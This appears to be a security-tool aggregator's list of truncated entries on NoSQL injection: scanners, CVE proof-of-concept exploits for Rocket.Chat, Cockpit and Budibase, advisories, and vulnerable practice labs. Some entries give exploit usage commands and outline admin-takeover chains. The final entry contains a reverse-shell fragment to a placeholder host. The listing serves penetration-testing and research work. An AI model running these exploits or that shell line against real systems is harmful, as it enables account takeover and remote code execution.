nosqli

NoSQL Injector A fast NoSQL scanner and injector. For finding sites vulnerable to NoSQL injection, Mongo in particular. About Nosqli I wanted a better nosql injection tool that was simple to use, fully command line based, and configurable. To that end, I began work on nosqli - a simple nosql...

NoSQLMap

NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by @tcsstool and n...

Nosql-MongoDB-injection-username-password-enumeration

Nosql injection username and password enumeration script Using this script, we can enumerate Usernames and passwords of Nosqlmongodb injecion vulnerable web applications. Exploit Title: Nosql injection username/password enumeration. Author: Kalana Sankalpa Anon LK. Website:...

GraphQLmap

GraphQLmap GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. Install Features and examples Dump a GraphQL schema Interact with a GraphQL endpoint Execute GraphQL queries Autocomplete queries GraphQL field fuzzing Example 1 - Bruteforce a character Examp...

CVE-2026-29198-POC

CVE-2026-29198-POC Rocket.Chat OAuth2 NoSQLインジェクション、Rocket.Chat 8.3.0、8.2.1、8.1.2、8.0.3、7.13.5、7.12.6、7.11.6、および 7.10.9 セットアップインストール: pip3 install -r requirement.txt エクスプロイト: python3 poccve202629198.py --url domain --escalate -v...

Agentejo Cockpit < 0.11.2 - NoSQL Injection

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value. id: CVE-2020-35846 info: name: Agentejo Cockpit 0.11.2 - NoSQL Injection author: dwisiswant0 severity: critic...

Mongoose - NoSQL Injection

NoSQL injection vulnerability in Mongoose 8.9.5 affecting the populate function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operator...

ninjasworkout

Damn Vulnerable NodeJS Application クイックスタート root@kitploit: Download the Repo = run npm i すべての依存関係をインストールしたら、アプリケーションを実行します root@kitploit: node app.js or nodemon app.js 追加されたバグ Prototype Pollution ✅1 NoSQLインジェクション ✅2 クロスサイトスクリプティング ✅3 アクセス制御の不備 ✅4 セッション管理の不備 ✅5 脆弱な正規表現の実装 ✅6 競合状態 ✅7 CSRF...

RocketChat-NoSQLi-Chain-CVE-2021-22911

Rocket.Chat NoSQLi Fuga de Token y Restablecimiento de Contraseña Un script de explotación automatizado para Rocket.Chat y aplicaciones basadas en Meteor que aprovecha una Inyección NoSQL mediante la cláusula $where para filtrar tokens de restablecimiento de contraseña a través de excepciones del...

CVE-2026-88027

Improper neutralization of special elements in data query logic in the embedded-document relation handling of the MongoDB integration for Laravel can cause a caller-supplied embedded record identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated use...

EUVD-2026-75641

Improper neutralization of special elements in data query logic in the embedded-document relation handling of the MongoDB integration for Laravel can cause a caller-supplied embedded record identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated use...

EUVD-2026-75628

Improper neutralization of special elements in data query logic in the MongoDB integration for Laravel can cause an array supplied to an explicit equality filter to be interpreted as a query condition rather than as a literal value. This affects the three-argument where method when the operator i...

CVE-2024-53900

CTF Challenge - Mongoose RCE CVE-2024-53900 Challenge Overview 这个 Capture The Flag CTF 挑战基于 CVE-2024-53900，该漏洞存在于 Mongoose 中，由于在 MongoDB 查询中不当使用 $where 运算符，导致远程代码执行（RCE）。 你的目标是利用该漏洞，并获取隐藏在应用程序中的 flag！ Setup Instructions 1 安装依赖 确保已安装 Node.js，然后运行： root@kitploit: npm install 2 配置 MongoDB 安装 MongoDB...

Kibana 9.4.x < 9.4.5 / 9.5.x < 9.5.1 Information Disclosure (ESA-2026-168)

The version of Kibana installed on the remote host is 9.4.x prior to 9.4.5, or 9.5.x prior to 9.5.1. It is, therefore, affected by a vulnerability as referenced in the ESA-2026-168 advisory. - Improper Neutralization of Special Elements in Data Query Logic CWE-943 in Kibana can lead to informatio...

CVE-2021-22911

针对 CVE-2021-22911 的更新版利用程序 Rocket.Chat 3.12.1 - NoSQL注入到远程代码执行 未认证 原始功劳归功于：https://www.exploit-db.com/exploits/50108 设置 创建Python虚拟环境并安装依赖 root@kitploit: $ python -m venv venv $ source venv/bin/activate $ pip install requests oathtool 使用方法 我新增了一个 -p 参数，用于接收低权限用户密码，同时也用于重置管理员密码 root@kitploit: $...

CVE-2025-60357

CVE-2025-60357- NoSQLMongoDB注入 漏洞和产品描述 AhnLab EPP Management 是全球公认的下一代高级端点保护平台，集成了补丁管理、高级恶意软件检测、EDR 和 XDR 功能。 在 AhnLab EPP Management v1.0.14.32-6249 的端点 /api/console/ems/eventlog/agentEvent/list 中发现了 NoSQLMongoDB注入 ，导致敏感信息和 PII 泄露。该受影响端点现已修补，AhnLab 于 2024 年 8 月发布了补丁版本（P14.32 P16.25）。...

CVE-2026-54350-Budibase-NoSQL-Injection

CVE-2026-54350 — Budibase 未認証のNoSQLオペレーターインジェクション Budibaseにおける未認証のJSON/NoSQLオペレーターインジェクション。ドキュメントデータソース（MongoDB、CouchDB、Elasticsearch、DynamoDB-PartiQL、またはJSONボディを持つREST）をバックエンドとするPUBLIC クエリを公開しているBudibaseアプリにアクセスする匿名の訪問者は、単一の未認証HTTPリクエストで、バックエンドのコレクションのすべてのドキュメントを読み取り...

nosqli-flintcms

nosqli-flintcms 基于 CVE-2018-3783（flintcms 1.1.9 上的权限提升）的盲注 noSQL 注入案例研究实验室。 该漏洞最初由 Benoit Côté-Jodoin 发现。你可以在 HackerOne 上阅读原始报告。 先决条件 root@kitploit: docker-compose 限制 ：我们移除了 sendEmail 函数，因此服务器无法发送邮件。不过，重置密码时它仍然可以生成令牌。 实验室搭建 1. 环境变量位于 docker-compose.yml 中，你可以在此更改数据库的凭据。 2. 运行 docker-compose...

CVE-2020-35846

Cockpit CMS NoSQLインジェクションによるリモートコード実行 : CVE-2020-35846 説明 Cockpit CMSにはNoSQLの脆弱性がいくつかあり、ユーザー情報をダンプするために使用できます。この情報漏洩を連鎖させることで、ユーザーのパスワードを変更し、サーバー上でリモートコード実行（RCE）につながります。 これらの脆弱性の簡単な説明はこちらで確認できます。 使用方法 root@kitploit: ┌─0z09e─/project/CVE-2020-35846 └──╼ $ python3 exploit.py --help usage: exploit.p...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（临时编写） 描述 利用 Rocket.Chat 3.12.1 中的预认证 NoSQL 注入漏洞，泄露管理员的 TOTP 密钥和密码重置令牌，接管管理员账户，并通过恶意 webhook 集成实现 RCE。 受影响版本 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 参数 工作原理 1. 以低权限用户身份通过 DDP 协议进行身份验证 2. 通过 NoSQL $where 注入泄露管理员 TOTP 密钥 3. 触发管理员密码重置邮件 4. 通过 NoSQL $where...